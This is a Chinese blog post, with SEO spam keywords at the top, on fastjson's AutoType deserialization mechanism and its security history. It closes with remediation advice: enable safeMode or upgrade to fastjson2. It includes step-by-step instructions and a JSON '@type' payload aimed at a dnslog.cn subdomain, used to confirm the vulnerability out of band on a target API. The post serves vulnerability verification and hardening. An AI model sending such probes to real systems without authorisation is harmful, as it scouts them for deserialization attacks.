wordpress模板建站教程视频,最佳网站设计,微网站模板建设,佛山专业的做网站的1. 温少和他的fastjson
阿里巴巴的 FastJSON#xff0c;也被称为 Alibaba FastJSON 或阿里巴巴 JSON#xff0c;是一个高性能的 Java JSON 处理库#xff0c;用于在 Java 应用程序中解析和生成 JSON 数据。FastJSON 以其卓越的性能和功能丰富的特点而闻名#xff0c;并在…1. 温少和他的fastjson
阿里巴巴的 FastJSON也被称为 Alibaba FastJSON 或阿里巴巴 JSON是一个高性能的 Java JSON 处理库用于在 Java 应用程序中解析和生成 JSON 数据。FastJSON 以其卓越的性能和功能丰富的特点而闻名并在阿里巴巴的开源项目和其他许多 Java 应用程序中广泛使用。
fastjson的特点和常用方法如下
Java工具库——FastJson的40个常用方法-CSDN博客
因为fastjson自己定义了序列化工具类并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式大大提升了序列化及反序列化的效率。
虽然fastjson是阿里巴巴开源出来的但是从论坛了解到这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。
知乎上有网友说“温少几乎凭一己之力撑起了一个被广泛使用JSON库而其他库几乎都是靠一整个团队就凭这一点温少作为“初心不改的阿里初代开源人”当之无愧。”
fastjson目前是国产类库中比较出名的一个可以说是倍受关注所以渐渐成了安全研究的重点所以会有一些深度的漏洞被发现。就像温少自己说的那样
“和发现漏洞相比更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。”
2. FASTJSON Autotype机制
FASTJSON支持AutoType功能这个功能会在序列化的JSON字符串中带上类型信息在反序列化时不需要传入类型实现自动类型识别。
2.1 Autotype机制存在的历史
AutoType 机制是 FASTJSON 提供的一项特性目的是简化 JSON 的序列化和反序列化过程。在普通的反序列化操作中JSON 字符串需要传递具体的类型信息而 AutoType 机制则允许在 JSON 数据中直接包含类型信息从而在反序列化时自动识别类型。这种机制最早出现在 FASTJSON 的初期版本中主要出于以下几个原因
简化开发AutoType 机制可以简化 JSON 数据在 Java 对象之间的转换过程减少代码量提高开发效率。增强灵活性通过在 JSON 数据中嵌入类型信息可以方便地处理复杂对象和多态对象特别是在实现继承和接口时。广泛适用性在很多应用场景下特别是 RPC 调用和数据交换过程中AutoType 机制可以极大地方便数据传输和解析。
然而随着该机制的广泛使用一些潜在的问题也逐渐暴露出来特别是安全性方面。由于 AutoType 机制允许在 JSON 字符串中嵌入类型信息攻击者可能利用这一点注入恶意的类从而导致反序列化漏洞。为了应对这一问题FASTJSON 在后续版本中对 Autotype 机制进行了多次改进和优化。
2.2 FASTJSON 2 Autotype机制 2.2.1 序列化时带上类型信息 如果需要序列化时带上类型信息需要使用JSONWriter.Feature.WriteClassName。比如
Bean bean ...;
String jsonString JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName);
很多时候root对象是可以知道类型的里面的对象字段是基类或者不确定类型这个时候不输出root对象的类型信息可以减少序列化结果的大小也能提升反序列化的性能。
Bean bean ...;
String jsonString JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName, JSONWriter.Feature.NotWriteRootClassName); 2.2.2 反序列化时打开AutoType功能以支持自动类型
Bean bean (Bean) JSON.parseObject(jsonString, Object.class, JSONReader.Feature.SupportAutoType);
2.2.3 配置safeMode
配置SafeMode会完全禁用AutoType功能如果程序中显式指定类型AutoType功能也不会生效。 JVM启动参数配置
-Dfastjson2.parser.safeModetrue 2.2.4 使用AutoTypeFilter在不打开AutoTypeSupport时实现自动类型
当打开AutoTypeSupport虽然内置了一个比较广泛的黑名单但仍然是不够安全的。下面有一种办法是控制当前调用的AutoType支持范围避免全局打开这个更安全。
public class FastJsonRedisSerializerT implements RedisSerializerT {static final Filter autoTypeFilter JSONReader.autoTypeFilter(// 按需加上需要支持自动类型的类名前缀范围越小越安全org.springframework.security.core.authority.SimpleGrantedAuthority);private ClassT clazz;public FastJsonRedisSerializer(ClassT clazz) {super();this.clazz clazz;}Overridepublic byte[] serialize(T t) {if (t null) {return new byte[0];}return JSON.toJSONBytes(t, JSONWriter.Feature.WriteClassName);}Overridepublic T deserialize(byte[] bytes) {if (bytes null || bytes.length 0) {return null;}return JSON.parseObject(bytes, clazz, autoTypeFilter);}
} 3. fastjson反序列漏洞autoType验证
在起初阶段AutoType的漏洞层出不穷。
从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 每个版本的升级中都有关于AutoType的升级。
1.2.59发布增强AutoType打开时的安全性 fastjson
1.2.60发布增加了AutoType黑名单修复拒绝服务安全问题 fastjson
1.2.61发布增加AutoType安全黑名单 fastjson
1.2.62发布增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
1.2.66发布Bug修复安全加固并且做安全加固补充了AutoType黑名单 fastjson
1.2.67发布Bug修复安全加固补充了AutoType黑名单 fastjson
1.2.68发布支持GEOJSON补充了AutoType黑名单。引入一个safeMode的配置配置safeMode后无论白名单和黑名单都不支持autoType。 fastjson
1.2.69发布修复新发现高危AutoType开关绕过安全漏洞补充了AutoType黑名单 fastjson
1.2.70发布提升兼容性补充了AutoType黑名单
甚至在fastjson的开源库中有一个Issue是建议作者提供不带autoType的版本。后来fastjson2中改为必须显式打开才能使用autoType。
关于早期安全漏洞发掘人员和autoType功能斗智斗勇的故事如果感兴趣可以参阅以下博客
【FastJson】FastJson AutoType-CSDN博客
3.1 漏洞验证准备工具
1. 测试工具Burp Suite 或者Postman
2. dnslog在线平台 http://dnslog.cn/
3.2 漏洞验证步骤
1. 打开Burp Suite默认浏览器
2. 访问项目地址并登录系统调用接口
3. Http history找到登录接口send to Repeater(如果知道报文结构的话前三步也可以直接用Postman工具构造请求我的截图是使用Postman工具引用链接使用的是Burp Suite)
4. 在dnslog在线平台获取域名 5.把requestBody中json替换
{zeo: {type: java.net.Inet4Address,val: 3yttqu.dnslog.cn}
}
6. 调用接口返回成功说明fastjson进行了正常反序列化过程 7. 回到dns平台点击Refresh Record获取到了调用者的ip Address 3.3 为什么测试结果验证了漏洞的存在
这个测试结果可以验证漏洞的存在是因为它展示了一个实际成功执行的攻击示例并且在 DNS 日志记录中捕获了相对应的 DNS 请求。
具体原因如下 漏洞描述中的关键点 漏洞涉及 Fastjson 序列化问题允许攻击者利用 type 属性执行潜在危险的代码。攻击者可以利用这个漏洞从系统中提取敏感信息并对系统进行进一步的攻击。 测试请求的执行 测试步骤中通过 POST 请求向目标 URL 发送数据请求体中包含了一个特殊的 Payload 响应结果 响应结果显示了 HTTP 200 状态码表明请求被成功处理。表示 Fastjson 在处理这个请求时没有阻止序列化的数据类型验证了 Fastjson 的漏洞。 DNS 记录验证 在 DNSlog 平台上的日志记录显示了 3yttqu.dnslog.cn的查询记录。这些 DNS 查询的时间戳与测试请求的时间匹配说明目标服务器确实处理了请求并试图解析传入的主机名。
如果你想在查阅使用Burp suite验证漏洞的范例可以阅读以下博客
fastjson反序列漏洞autoType验证和解决 - 简书
解决建议
要解决该漏洞需要在代码中将fastjson的safeModel配置为true。而fastjson2.0版本在缺省配置safeMode下是安全的所以升级到fastjson2.0版本也是一个很好的办法。
4.温少对AutoType安全机制的介绍和安全要求
针对这些安全问题温少亲自在github上讲述fastjson2的安全机制并强烈要求“打开AutoType不应该在暴露在公网的场景下使用”
https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn
原文
1. 必须显式打开才能使用。和fastjson 1.x不一样fastjson 1.x为了兼容有一个白名单在fastjson 2中没有任何白名单也不包括任何Exception类的白名单必须显式打开才能使用。这可以保证缺省配置下是安全的。
2. 支持配置safeMode在safeMode打开后显式传入AutoType参数也不起作用。
3. 显式打开后会经过内置黑名单过滤。该黑名单能拦截大部分常见风险这个机制不能保证绝对安全打开AutoType不应该在暴露在公网的场景下使用。
5.总结
针对fastjson反序列化有关的安全问题。如果系统并非内部局域网使用使用fastjson2并且不启用默认关闭的AutoType机制是最有效的安全做法。
参考资料
【FastJson】FastJson AutoType-CSDN博客
fastjson反序列漏洞autoType验证和解决 - 简书
https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn